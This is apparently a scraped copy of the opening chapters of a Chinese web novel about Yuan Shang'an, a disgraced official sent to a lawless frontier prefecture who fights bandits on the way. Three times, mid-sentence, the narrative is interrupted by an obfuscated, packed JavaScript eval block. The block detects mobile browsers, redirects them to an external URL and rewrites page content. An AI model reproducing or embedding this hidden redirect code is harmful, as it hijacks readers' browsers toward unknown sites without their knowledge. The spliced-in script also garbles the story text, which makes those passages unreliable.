《病美人拒当万人迷》 1. 天命 滴答、滴答—— 血滴与冷汗沿着褴褛的袍角不断淌下,仿若计时的更漏,腿骨被硬生生打碎之后的痛感压得人几欲昏厥。 空气中弥漫着腥气和尸体腐烂后令人作呕的味道,牢里断断续续传来的低吼将面前人的威胁衬得更为可怖: “进了这样的地方,你还指望着出去?” 沾血的铁鞭停在了脸颊的伤口上:“别做梦了,你通敌谋反,勾结反贼谋杀柔然使团已是铁证如山,唯有死路一条。” 铁链叮呤咣啷作响,遍体鳞伤的男人只低着头看不清神色如何,对这酷刑折磨似乎早已逆来顺受,干涩的咽喉压根发不出一点声音。 毒蛇般的声音仍在继续:“源尚安,你唯一的选择就是立刻招供认罪,争取走得痛快点。” 窒息感如潮涌来,被重重束缚的男人反而眼底冰寒一片,望着人冷笑道:“我不认。” …… 咚的一声巨响,审讯人似已恼羞成怒,狠命发力将人摔在地上…… 坠落感令人头晕目眩周身发冷,一瞬分不清是真是幻,梦外人随之骤而一个寒噤,终于从这不见天日的深渊里挣脱出来。 源尚安缓慢地睁开了眼睛,由于残存的梦魇脑海中仍旧是一片空白,顿了好一会儿才反应过来这里不是阴暗潮湿的地牢,而是行驶在洛阳大道上的马车。 春日的街道额外热闹,行人的笑语也随风飘入车厢: “嘿,瞧见没,就是这位。” “谁?” 白衣青年神神秘秘冲友人道:“还能是谁,咱们大魏立国以来头一个从白鹭阁活着出来的那位呗。” 说着冲马车远去的方向扬了扬下巴。 友人顷刻间诧异道:“等等,莫非他就是……” “嗯,”青年点头,“除了他还能是谁。” 不怪这二位青年对马车的主人啧啧称奇,因为约莫一年前这人在朝野上下的口碑还是“为国为民的大英雄”,于祭坛上亲手砍下奸佞头颅,赢得一片叫好。 然而不到半年就急转直下,成了人人得而诛之的大叛贼。 具体的案情经过平民百姓自然不得而知,只隐隐约约听到一些传言——说是源尚安虽为漠北守将之子,却暗藏谋逆之心,与反贼密谋杀害柔然来使,陷大魏于不义,而后伺机起事。 此案一出,群臣无不激愤。 好在贼军被兄长源素臣率兵及时歼灭,为首者也被当场斩杀,这场灾祸才没能动摇国本。 功过是非摆在了天子与满朝文武面前,如何处置还在狱里苦苦挣扎的源尚安便成了最大问题:照理说他通敌谋反合该株连全族,可偏偏这平叛立功的将军却是他的兄长…… 朝中对此讳莫如深遮掩良多,可按不住私底下的百姓悄悄议论,好奇这背后隐匿的真相。 街头巷尾的闲言碎语难免传到他们耳中,两青年一看当事人近在咫尺,心里的好奇压过了胆怯一头,不免加快脚步追了上去想探探究竟。 春风吹开车帘,隐约有香气随之弥漫开来,白衣青年被这雅致香风刮得眼神迷离,差点以为坐里头的是哪位名门小姐。 他再努力睁开眼时便彻底愣在了原地。 帘幕下的青年容色如玉神情平和,眼睫纤长浓密,挺直漂亮的眉骨因为春光而落下一抹阴影,无论怎样看都是个温润美人。只不过这人的脸色过于苍白,总透着一股病态,仿佛随时都会倒下。 白衣青年霎时一愣,想不到任何贴切的形容,只觉得真好看,好看到他脚下一个不稳,差点摔倒在地。 “……你没事吧?”友人连忙停下去扶。而恰巧是这一扶,马车彻底驶入皇城宫门,断了他们追逐的念想。 这道皇权的屏障横在眼前,他们知道里头的天地不容许平民随意涉足。 身后的动静引起了源尚安的注意,他侧头回望却不见任何踪影。乔沐苏伸手要搀扶他下车:“故卿,到了。” 再往里走就是皇宫,按照规矩必须下马受查,确认无误之后才能走进去。 源尚安合上了车帘:“这一年来你费心了。” “嗨,哪有的事,当初也是有你作保,我才……” 乔沐苏话未说完,宫门守卫率人上前:“还请大人按例下车接受检查!” 源尚安瞥了眼他改装后的容貌,伸出食指示意他噤声:“回去吧,不要暴露。” 乔沐苏有所犹豫,源尚安又道:“陛下想见的也只有我一个人。” 侍卫长掀开车帘,做了个请的手势。 源尚安在身侧护卫的搀扶下缓慢走下阶梯,尽管已经将养了一年有余,可右腿依然不时传来疼痛和他作对。 阳光于他毫无防备之时直刺而来,源尚安本能地闭上眼睛伸手遮挡,光明透过五指的缝隙漏在了眉宇间。 过往无休止的黑暗已经叫他无法适应光明,源尚安怔愣片刻,甚至本能地开始怀疑这份温暖是否真实存在。 好半天他才放下手来,确信这是太阳,是带来温暖普照众生的太阳。 侍卫长召来下属迅速搜身,确认没有凶器毒药后挥手示意车夫离开。 这车驾是天子御赐之物,本也不属于他,如今把人带到宫墙外就算完成了使命。 侍卫长伸手道:“源大人,请吧,陛下正在显阳殿中。” 初春下的朱墙金瓦蒙上了一层柔光,鸟雀叽叽喳喳地来去不停,偶有宫人走过也都是低头不语,怕冒犯了达官贵人。 源尚安不敢走得太快,却又不能耽搁太久,只能拖着堪堪养好的右腿一顿一顿地走着,引得不少宫娥小心注目。 姑娘家心地善良,想的也是可怜二字:好端端的俊美儿郎,怎么弄成了这副模样。 与宫人的沉默怜悯不同,红墙之外却是一片欢声笑语。 “如今贼首伏法,天下升平,宗相之明着实令我等惭愧,恐管仲乐毅在世,犹不能及也。” “是啊,若无丞相力挽狂澜,那岂不是叫奸佞小人大行其道?” “哈哈,诸位过誉了,老夫也不过是做些分内之事罢了。” “丞相,我等皆是肺腑之言,”廷尉真情实感地恭维道,“陛下年幼,最容易被源尚安那样佞臣贼子——” “容易被我怎么样?” “蒙蔽”二字尚未出口,围在丞相身边的众人霎时如避蛇蝎般唯恐不及。 唯独丞相与源尚安对望,微笑道:“源常侍别来无恙。” “怎敢抱恙,”源尚安与之对视的眼眸不余温情,“丞相恩重如山,下官没齿难忘,只恐无以为报。” 丞相笑道:“源常侍倒是客气。” 可源尚安的声音并未就此停歇:“想来唯有澄清冤狱,整顿吏治,扬我大魏国威,庇佑天下万民,使之无冻馁之迫,无兵燹之患,方能报之一二。” 面前人顿了顿,似有一瞬也被他决绝的气势震撼,须臾后才失笑道:“如今是太平盛世天下无忧,何来饥寒交迫之说?源常侍哪还要专程报效什么。” 忽高忽低的惨叫徘徊不去,血迹蔓延开来,无辜者在苦痛中挣扎等死。地牢里的一切匆匆划过脑海,显得身侧高官们的玩笑格外刺耳。 源尚安收回了目光,老太监恰好跨出门槛:“宣散骑常侍源尚安觐见。” 陛下今日为何要见他?是对过往冤案有所愧悔,抑或是动了澄清吏治的念头? 源尚安想了一路都未有明确答案,只得先随人进殿,正要跪下行臣子之礼,年轻的天子却抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872813|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示意不用。 “……平身吧,不必了。” 他的声色动作都沾染了局促不安的意味,源尚安隐约觉得蹊跷,却也不好贸然开口过问内情。 “谢陛下隆恩,”源尚安拜道,“不知陛下宣微臣来此有何吩咐?” 天子垂下眼帘,不知是在看谁担心谁,顿了顿才道:“源尚安,朕……知道你冤枉。” “朕已命度支部拨给你三千两白银,其余药物你随时可以去太医院取。” 源尚安作势要叩首,如此圣恩再不拜谢多少于礼不合:“陛下圣恩浩荡,微臣受之有愧。” “平身、平身,”年轻的帝王轻轻咳了一声,“故卿,以你之才,只留在朕身边难免有些可惜。” 源尚安道:“能在陛下身侧效力乃是微臣三生有幸。” 混迹官场多年养成的本能让他这句恭维的话几乎是脱口而出不假思索,可说完了源尚安才意识到不对。 自从他进殿以来,天子言辞之间流露出的态度便不大对劲。帝王本是九五之尊,合该昂首阔步睥睨天下,可这少年天子举手投足间俱不自然,似有满心愧疚无以言表。 以及对背后某种力量的怯懦。 方才瞧上去和蔼可亲的老太监此刻道:“今儿可是源常侍大喜的日子,陛下怎么还给忘了。” 年轻的帝王立即也换上了笑颜:“是啊,朕险些就忘了说了。源尚安,这一年来你着实不易,朕要提拔你。” “陛下,微臣——” 天子心意已决:“朕和丞相商议后,已决意提拔你做夏州太守,替朕护佑边陲。” “……夏州?” 源尚安虽在京城做官,但从前也曾留心过各地州郡的情况。 夏州地处西北接近边疆,气候又干旱少雨,故而城镇荒凉居民贫困,是名副其实的苦寒之地。加之边疆一带往往都用来流放人犯,近年来又监管不力,逃脱了不少歹徒。这些人没地方去,只好聚在一起落草为寇,以打家劫舍为生。 而无论是哪一个痼疾,眼下对于源尚安来说都是致命的。 他才从地牢里捡回来一条命,如今却要去这乱成一锅粥的地方。且不说一路上风霜消磨他这副病体能否受得了,就算到了怕是也有一群豺狼虎豹磨牙吮血,等着将他分食殆尽。 源尚安眼神冷却,这还算是提拔么?这分明是找个由头将他驱逐出京。 瞳仁随之颤巍,不甘一瞬大过了一切。这显然是叫他去夏州等死。 可就算留下来又能如何?他在洛阳早就没有立足之地了。父亲不日也要奔赴边关,兄长已被派去平叛,师兄更是早已弃他而去投奔他处。 他已经是真正的众叛亲离。 天子又轻轻重复了遍:“源尚安,朕思量再三,还是觉得这太守之位予你才是上上之选。” “你若是没有其余要事,过两日就赴任吧,州府也不可无主太久。” 这就是天命已定,不容他更改了。 源尚安却并无退却之意:“陛下……” 少年帝王垂下眼帘不与对视,似也有过于心不忍,却终是有口难言。 倒是一旁的老太监又接过了话头,恭维道:“贺喜大人升迁呐!” 眸光骤而一转,源尚安扫过他的面容,只听他又道:“源大人可是忠良之后啊,哈哈。” 源尚安收回眼神,对他的弦外之音了然于心:雷霆雨露俱是天恩,忠臣良将就该俯首听命。 不论到底是君要臣死还是其他人推着要他死,他都必须乖乖听话、安安静静去死。 他应声接命拜谢皇恩,藏在玄色文官袍底下的右手却是紧握成拳指节泛白: 凭什么。 他偏不要听天命遂人愿。 2. 陇西行(一) 夏州如此混乱,归根结底还是那五个字:天高皇帝远。 出了洛阳所在的司州,帝王政令便没有那样好使了。若是天子强势能做到乾坤独断那还好,总归能够靠着铁腕震慑群雄。若是不巧碰上个至今都没办法完全亲政的提线木偶,那也不要怪各路人马心怀鬼胎了。 延昌二年的大魏表面一派风平浪静,但源尚安知道这平静注定维持不了太久。 大魏立国百年有余,曾经横扫西北诸国、令外敌柔然闻风丧胆的盛世已然只剩下一抹余晖苟延残喘。 当然现如今距离诸侯割据的大乱尚且有一段距离,无论响马也好、外敌也好以及昔日被灭国的王族之后也罢,都还在暗处潜伏等候时机。 而等到时机成熟,源尚安身为夏州太守,多半是他们率先杀了祭旗的对象。 画有夏州的地图被乔沐苏卷起收好,他边整理着衣物边道:“我都安排过了,叫敦叔跟着将军回去,小楚他们暂且回家,银钱我也算清了。” 源尚安一向不喜奢靡,住处没有什么名贵的陈设,因此收拾起来不怎么费力。 两人合力把木箱抬了出去,乔沐苏又道:“景翌他被陛下派出去平定汾州贼寇去了,小叶公子么好像随父亲去亲戚葬礼了……” 他絮絮叨叨地又说了一堆旧日相识的情况,源尚安只默默不语地听着,望着墙壁上一把寒光璀璨的长剑出神。 这大概是他住宅里最昂贵的一样宝物。 “……对了。”乔沐苏的声音有些迟疑,停顿少顷才道:“那个梅……梅公子他似乎很得丞相赏识,甚至有意撮合婚事。” 源尚安对此处之淡然:“他攀上高枝后能有此喜事,我身为师弟,按理应该庆贺才是。” “云昼,”他叫来侍从,“替我准备点喜钱送过去。” 乔沐苏没有接话,余光瞥见源尚安将长剑取了下来系在腰间。 剑刃衬得他身形修长,风仪如松,与乔沐苏初见他时并无二致。好似无论风霜如何消磨,都不能毁去他这一身雪胎梅骨。 “走吧。” 源尚安语气决然,不带留恋与幻想。 云昼匆匆忙忙跑来:“大人,陛下说赐给您一辆马车。” 身后果真跟着个面生的小太监,他牵来马车垂头道:“陛下说路上颠簸,还是有马车护送好些。” 源尚安轻叹了声:“这是催着我走呢。” 小太监眼观鼻鼻观心不说话。 “走吧。这几日天色好,再过过碰上下雨就不好赶路了。” 他转身不带眷恋,可还没登上马车身后便有人唤道:“慕儿……” 这一声悲怆苍凉,源尚安立时回首:“爹……” 源司繁泪眼潸然,悲不自胜,上前紧紧握住了源尚安的手:“你又要走了。” 路途遥远音尘隔绝,今日作别后他日再见便不知是何年何月。 筋骨上的旧伤和来日未定的征途都在逼迫消磨着余下的年岁,源司繁伸出那只常年握刀持弓、杀敌报国的手,颤巍巍地抚过源尚安的侧脸。 “到那边之后也要好好照顾自己,你把身子养好比什么都重要。” “爹放心,”源尚安宽慰道,“我又不是小孩子了。” 源司繁没有应他的话,上手一把将源尚安抱进了怀里,动作局促而又略显用力,一时间勒得他发紧:“爹……” “我过几天也要走了,”源司繁松开了些许,望着源尚安脸颊感慨万千,“你到了那边没什么事的话,就多写点信寄过来。” 别的话他也说不出口,或许临别之际说再多也显得无用。但这么多年的朝夕相对,源司繁也早把他真当做了自己的孩子。 “去吧,”源司繁拍了拍他,“做你该做的事,爹等你回来。” —————— 路上果真如源尚安所料,头两天还是风和日丽,第三日便开始阴云密布寒风呼号,有了要下雨的意思。 早春时节气温还没有完全稳定,故而难免时高时低。而这样忽高忽低的天气最是折磨人,次日晚间源尚安便摸到自己发热的额头。 视线也随之模糊不清,源尚安下意识地朝后靠了靠,乔沐苏的手旋即覆上额间:“有些低烧,我给你弄些药喝。” 源尚安声音在雷声下显得闷闷的:“……不要紧。” 他不熟悉夏州情况,因此并不想路上耽搁太多。走走停停太容易给那帮打家劫舍的匪徒以可乘之机了。 乔沐苏了解他的心性,劝道:“现在不是逞强的时候。” 并非他有意逞强好胜,而是出了司州之后源尚安的心思便不在自己身上。 洛阳到底是天子脚下,商贾云集地处繁华,周遭州郡也大多富庶,平民百姓自是衣食无忧。 可一旦出了司州的地界,这残破荒凉的景象便是扑面而来。 乌鸦嘶哑鸣叫,围在白骨腐肉边盘旋不去,饥肠辘辘的野狗低着头来回觅食,骨瘦如柴的男女拖家带口沿路乞讨,却找不见一点生存的希望。 这哪里有太平盛世的影子? 源尚安脑中昏昏沉沉,他强撑着坐了起来:“车上还有些烧饼,拿去分人吧。” 乔沐苏正要下车备药:“这……” 倒不是他薄情寡义,而是许多时候救助好比是撕开了一处无底洞,车上带的干粮又不算充裕,填不饱流民那么多张口。 源尚安扶着头哑声道:“能救一个是一个,去吧……” 惊雷轰隆不歇,雨点旋即砸下。 泛着油香的烧饼立即吸引来了注意,外头感激涕零的道谢声嗡嗡不停,源尚安听不真切,只觉得耳边好似一瞬窜出来了一万只蜜蜂。 他头疼欲裂,甚至听不清帘外越来越密的雨声。 “故卿、故卿!” 乔沐苏顾不得衣衫已然被雨淋湿,忙上车窗前抓住源尚安的手腕:“故卿,咱们去庙里避避雨吧,避避雨再走……” 源尚安眼前一晃,只感自己似乎被人背在了身上。乔沐苏在一旁撑着伞,语音时断时续。 他咬紧牙关,脑中竭力维持着清明,总算从乔沐苏的话语里捕捉到了讯息:这处村落前些日子不幸遭遇土匪洗劫一空又纵火灭迹,幸存的十来个居民只好结伴另谋生路。 好在上苍开眼,今日暂且充当村庄里正的齐大娘带人找到了他们,准备暂时将他们带往附近的一处寺庙安歇。 见源尚安旧疾复发,又是个乐意施舍的好心人,齐大娘便也伸出了援手,邀请他们三人一同前往。 寺庙里生了几堆火供暖,原本用来供奉的地方此刻放满了瓶瓶罐罐。三十来个村民挤在一处,俱是神色疲惫,见有人来也没有太大反应。 到了地方云昼才小心翼翼地把他放在了火堆边,轻声宽慰道:“先生放心,没事了。” 身为侍从的云昼虽然不苟言笑,可一切皆以源尚安为重。 源尚安嗯了声轻轻点头,拍了下云昼以示赞赏,听见齐大娘又低声问道:“外乡人?” 乔沐苏一时不知是否该亮明太守的身份,是源尚安握住了他示意自己来说。 “是路过此地的客商,”源尚安道,“想投奔夏州的亲戚。” 齐大娘点了下头,示意他伸手过来号脉。 烛火映出源尚安有些苍白的轮廓,眉骨鼻梁处投下极为立体的阴影,眼神细微的变化被隐没在黑暗之中。他靠在拐角低低道:“老毛病了,不打紧的。” 齐大娘也不强求,只道:“好生将养,切记不可劳累急躁,你这身子最怕的就是急火攻心操劳过度。” 源尚安还没接话,一旁的乔沐苏却先开口了:“放心,我看着他。” 源尚安一瞬无奈,摇头想笑。 草药味随着热气冲入鼻腔,大概是乔沐苏借火熬药去了。源尚安听着窸窸窣窣的动静,只感头涨得难受,分明疲倦至极可却无论如何也睡不着。 他正想撑着坐起,身侧却忽而有人道:“哎你干什么快回来——” 源尚安定睛一瞧,竟是有个少妇人想凑到自己跟前来。 只不过这妇人肤色枯黄形容憔悴,一双布满血丝的大眼睛碰上谁都直勾勾地盯着看,难免叫人心里发毛。 齐大娘大概也是怕她打扰到源尚安休息,连忙把人又轻轻推了回去,劝道:“他才到这儿来,不是村里的人,怎么可能认得你家姑娘?” 源尚安勉强支撑:“出什么事了?” “……没事没事,”齐大娘拍拍那少妇的手,又转头道,“公子你好好休息便是了。” 话虽如此,源尚安却不大放心,又向那少妇看去。 谁知这一看便戳到了她的痛处,那妇人忽而挣开齐大娘的手失声叫道:“他把我的锦儿带走了……把我的锦儿还给我、还给我!” 她跌跌撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872814|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞地就要朝源尚安奔来讨要孩子,眼见她意识不清,云昼立时挡在了源尚安身前。 “哎,你做什么?”齐大娘连忙把妇人朝后拽,“你认错了人了!他今日才到这儿来,怎么会见过你的孩子!” 可这少妇疯疯癫癫不肯听劝,两人拉扯了阵,她竟是抓着齐大娘号哭起来。无奈之下,齐大娘只好扎了一针,令她暂时昏睡了过去。 “抱歉,惊扰公子歇息了。” 源尚安对此并不介意,反而关切道:“怎么一回事?” 齐大娘抱着那安睡过去的少妇,眼神哀悯:“她只有那么一个姑娘,自从走了之后就……哎。” 源尚安顾不上自个儿的烧:“莫不是遇上了人贩子?” 齐大娘神色犹豫,而后化为了同情与感叹,压低声音道:“听说是失足跌落河中的,那天她恰好晚了一步,大概是心怀愧疚吧……” 源尚安轻轻点头,不由得望着那妇人叹了声:所谓世事无常大抵如此。 “什么时候的事?” “好像是两个多月前吧,”齐大娘道,“她说孩子丢了,那时候我也帮着她找过,后来报了官,但一直都没有消息。直到……” 直到这孩子的尸首在河边被打捞上岸。 源尚安默然听着,末了才问道:“这孩子多大了,官府缘何认定的失足溺亡?” “十三四吧,瞧着挺乖的一孩子,县太爷说河边找到了脚印,能对得上,仵作也验了伤,就认定是玩闹时失足落水的了。” 说罢齐大娘似也觉得那妇人可怜,不禁伸手轻轻拍了拍她。 源尚安沉吟少顷,道:“或许另有隐情。” 齐大娘愣了愣:“……隐情?” 头疼并未随着思索而消散,源尚安只得伸手掐了掐眉心,带着鼻音道:“若如大娘您所言,这孩子平日里安静乖巧,那就不是个会贪玩走失的性子,一个人去河边玩闹的可能更是微乎其微。而且——” 他不得不顿了一下,强忍着不适才又继续道:“而且两个月前正是隆冬,河水冻结,可溺亡案大多发于盛夏。” 他也是办案多年的人,很快便嗅到了其间蹊跷。 齐大娘怔愣了下,良久才道:“都结案了,说这个还有什么用呢……” 盖棺定论的东西,谁还能翻得了天? 齐大娘叹着气,转而又去忙着照料伤员。毕竟在这世道想要保命,诸多时候都得学会沉默不言。 趁着这空档,云昼悄悄凑近:“先生,需要我暗中调查么?” 源尚安怔了下,没想到这孩子上赶着揽活干:“我也只是猜测。” 毕竟他并未见到案件全貌,也没有验过那姑娘的遗体。 云昼眼神坚定不移:“我相信先生的话,此案必有蹊跷。” 源尚安失笑:“你这孩子。” 自从被自己从地下赌场赎了出来之后,云昼便一直黏着源尚安。源尚安看他不过十七八岁,原本不想带他一块去夏州,可架不住这孩子一定要跟着自己。 云昼握着匕首坚持道:“我能保护好先生,让我一块去吧。” 源尚安本要再劝,可禁不住云昼拉着他衣角撒娇。他眼神可怜又饱含乞求,好像源尚安不带他就是狠心抛弃他了似的。 真没想到平日里一本正经又武艺超群的小护卫还能这么磨人。 “先生,”云昼吹了吹乔沐苏热好的药,“喝些药而后歇息吧。” 源尚安应了声,坐正身子时无意扯了下旁人的袍角,换来一声压抑的闷哼。 他这才注意到角落里还躺着位浑身是伤极度虚弱的男人。只见他双目紧闭,似乎已然到了弥留之际,可被源尚安碰了那么一下,忽而又开始呼哧呼哧喘息起来。 “你怎么样?”源尚安喝完药后伸手探了探鼻息与脉搏,摸到他额头滚烫的那一刻便知多半也是和自己一样受寒起了烧。 源尚安没作犹豫,将壶里剩下的半碗药一勺勺替人喂了进去。 须臾后这遍体鳞伤的男人总算睁开了眸子警惕地打量着四周,似也不记得自己缘何来此。 源尚安正要出言宽慰,庙外却忽而传来一声巨响,是木门砰地被人用斧头劈开。 碎块噼里啪啦滚落满地,十来个戴着斗笠的贼寇鱼贯而入。为首者扛着大刀杀气腾腾地扫了一圈,最终盯着拐角里的源尚安冷笑道:“果然是藏到这里来了!” 3. 陇西行(二) 冷风呼啸不止,雨点从门外打入。十二三个大汉扛着刀剑,凶相毕露地环视着庙宇内的众人。 方才还交头接耳的几个村民立刻低头噤声,其间还隐约夹杂着孩童的啜泣。 齐大娘把那少妇暂且交给旁人,起身抱拳道:“几位爷,村子里值钱的能吃的东西早都孝敬过了,求各位大爷行行好,放咱们一条生路吧。” 她作势就要下跪求人,可为首的大汉却一把将她推开,朝着角落走来。 乔沐苏当即上前扶住齐大娘,拔剑道:“站住!” “哟呵,”那壮汉笑了起来,没想到这破庙里还有人敢迎面而上,“还真有个不怕死的。” 他扫了眼源尚安和拐角处刚刚苏醒的男人,颇为轻浮地吹了声哨:“只要你们把他们两个交出来,我就不为难剩下的人,怎么样?” 破庙里的村民们震惊之余不免好奇,都不知道土匪要的人到底是什么来头。 “……莫不是仇家?” “交出去就能放过我们吗?” “……糊涂!这帮土匪的话怎么能相信!” “可是、可是我们根本打不过……那两人最后还是要被抓走的……” 众人一阵低声议论,虽不相信这伙歹徒会信守承诺,可畏惧的情绪还是占了上风。 土匪头子哼笑道:“不交?不交是吧,那你们今天一个也别想活!” 说罢他砍刀一挥,就要照着人头骨劈下。 松雪剑刃铮然出鞘,乔沐苏瞬间卡住了他的攻势:“从后门走!快!” 他话音刚落,身后村民爬起来就要逃跑,然而那十来个土匪反应更快,立刻堵住了去路,一脚将人踹翻在地:“我看谁敢跑?!” 众人顿时被吓得瑟瑟发抖,愣在原地动也不敢动。 土匪头子的目光转向角落,眼见砍刀又要再度挥下,源尚安扶着香案起身:“且慢。” 他常年在病中,这一声难免显得中气不足,可是话语里的威势仿若与生俱来,瞬间引得人纷纷侧目而视。 方才苏醒的男人试图劝阻:“等等,你……” 云昼也心急如焚:“先生!” 源尚安没有领取好意,而是直直对上贼首森寒的眼瞳:“我与阁下素昧平生,似乎无冤无仇。不知阁下为何来此?” 那土匪头子冷笑道:“哪那么多废话!” 他哈哈着打量一眼便知这是个抱恙的青年,对自己全无威胁。只不过收到的悬赏令上可没说这是个风华绝代的美人。 对,美人。 面前这人肤色极白,眉眼斯文俊雅气度出尘,绝对是个万里挑一的美人。 土匪头子舔了下唇:“想活命也成,你帮弟兄们暖暖床,老子饶你不死!” 源尚安也望着他笑,可神情分明是动了杀意:“滚。” 土匪头子笑意顿收,手中大刀蛮横举起顺势劈斩,眼看就要迎面落下,源尚安却反应极快,立时抽身而退,刀锋噼里啪啦将香案碎成了齑粉,卡在了佛像腐朽残破的底座中。 趁此机会源尚安想也不想,长剑蕴光即刻出鞘,噗嗤一声贯穿了那贼人的肩颈,将他死死钉在了角落动弹不得。 寒剑距离脖颈只差数厘! 源尚安俯瞰着他:“想活命就叫他们把刀放下。” 其余匪徒一瞬定在了原地,谁都没有想到一个看起来手无缚鸡之力的病人,下手居然能如此狠辣迅捷。 “哈哈哈哈哈哈……”不料这土匪头子竟是个狠人,“老子不怕死!弟兄们,冲上去杀了他!” 他指的自然是眼里的始作俑者源尚安。 不曾想那病恹恹的青年竟是居高临下地望着他,眼底霜雪蔓延,令他不自觉地打了个寒噤。 源尚安眸光扫过,犹如判决生死:“那你怕疼么?” 土匪头子不争气地咽了口唾沫:“你……” 他莫名其妙地一抖,隐约觉得这人手上也没少沾染人血。 他们这样的亡命之徒烧杀劫掠惯了,王法生死全都不放在眼里。他们不怕跟人硬碰硬,怕的是碰上比自己更狠的角色。 源尚安只看了一眼便不屑再看,蕴光向上猛地一挑,顷刻间撕扯下来了块鲜血淋漓的皮肉。飞起的血沫溅在了佛像斑驳悲怜的眉目上,一时间煞是讽刺:神佛清静之地,其下却上演着杀生一幕。 那土匪头子立时脸色煞白,疼得嚎叫不止。 血腥气蔓延开来,其中有两三个胆子小的村民忍不住后退了几步别开了眼神。 谁能想到这病殃殃的俊美青年竟能下手狠辣到如此地步?方才还收了他烧饼的村民不由得心惊胆战,甚至不敢抬头看他。 源尚安在这惨叫和恐惧里缓步上前,踩住了贼首的下巴:“谁指使你找到这里来的?” 剑锋上的冷光将源尚安的面容映得如同冬日坚冰,周身满是叫人不敢轻易冒犯的气势。 鞋尖踩得骨头嘎吱作响:“回话。” 那土匪头子痛得大汗淋漓,只顾着哀嚎,哪里还能正常回答问题。 恰在此刻,身背后有一匪徒壮起胆子一跃而起,手中寒刃照着源尚安头顶就要劈下。 生死关头源尚安想也不想,立马抽了扎在人身上的蕴光剑,直照着人心口捅去。 噗嗤一声锋锐贯穿皮肉内脏,滚烫的血流当即喷薄而出,再度玷污了佛像庄严的眉眼。 这群土匪横行乡野惯了,何时见过这种气势,顿时仿佛被定在了原地动弹不得,哪里还敢继续造次,更有甚者直接退后了几步,两腿发抖。 偷袭者鲜血淋漓的尸体扑通倒下,源尚安略微瞥了眼剑上滴滴答答的血珠,神情冷若冰霜:“把刀剑都放下。” 余下十名土匪还幻想着负隅顽抗一波,乔沐苏的松雪剑却已然划开了身侧人的皮肉:“照做。” 躺在地上的头子边痛呼边喝道:“放下、都放下……” 那块被挑飞的血肉挂在佛像上,还在滴滴答答地淌着血。最前头的嘴不争气地一哆嗦,斧头已经拿不稳了。 得了机会,身后的村民们也不再犹豫,争先恐后地从后门离开了。 齐大娘放心不下,临走前还不忘担忧地看了眼,身侧汉子轻推了她一把:“走吧。” 是个人都知道源尚安在给他们拖延时间制造机会,现在不是磨磨唧唧上演“不我不能走不能丢下你们”那套苦情戏码的时候。 齐大娘不免老泪纵横,她不是没有派人联系过官兵,可是官府重心都在怎么迎接应付新来的太守身上,哪有空管他们的死活。 到头来伸出援手的,还是和他们一样的苦命人。 齐大娘在心里默默祈祷,随后冒着雨指挥剩下的人有序撤离。 一连受苦受难了十来日,脾气再好的人也遭不住,骂骂咧咧道:“真是一帮狗官狗贼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872815|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “去他大爷的狗太守。” “天天说要治理夏州治理夏州,他奶奶的这治了个什么东西。” 破庙里寒风一扫,源尚安冷不防鼻尖一颤,刹那间有点想打喷嚏。 乔沐苏担心他身体:“怎么了?” “……没事,”源尚安略微伸手挡了下鼻尖,冷然打量着面前余下的匪徒,“想叫你们老大活命,就老实回答问题。” 寺庙里一瞬鸦雀无声,落针可闻。 许久才有一匪徒哑着嗓子问:“你……你到底是什么人?” “不重要,”源尚安道,“现在如实告诉我,谁派你们到这儿来的?” 那中年大汉吞了口唾沫:“我、我不知道……” 源尚安眼神微动,乔沐苏即刻持剑上前:“少来这套骗三岁小孩的谎话!” 那匪徒两腿不争气地一抖,差点给源尚安跪下了:“我、我们真的不知道……我们只是奉令行事,说、说叫我们截住那个源、源……” 源尚安道:“你们主子和他有仇?” “……不、不知道啊……” “那就都杀了吧。” 狠厉之音骤然入耳,源尚安迅速判断出来自角落里那个伤痕累累、来路不明的男人。 男人高鼻深目,发色泛棕,虽然衣衫褴褛又多日不修边幅,但依稀能看出来平素该是个姿颜俊秀的青年。 源尚安只瞄了一眼便有了结论:胡人。 这家伙和自己一样,都有关外异族血统。 若是鲜卑之后那极有可能是有血缘之亲,若是匈奴…… 源尚安脑中猛然一沉,脚下险些随之打滑:夏州原本就是匈奴驻地,连治所统万城都被称作匈奴最后的王都。 可想不到这一晃神,眼前光景也跟着模糊不清起来。晕眩感不停上涌,源尚安暗叫不妙,这烧不仅没退,反而起得更厉害了。 对面匪徒互看几眼,意识到现在是反击的绝佳时刻,刹那间蜂拥而上,刀斧直挺挺地就要劈下来。 “先生!” 云昼就要奔来,源尚安霎时稳住身形仅凭声音辨位,抬手一剑捅向贼寇心口。 血泼如雨,人应声倒地,云昼也赶上前来抹了另一名匪徒脖子。 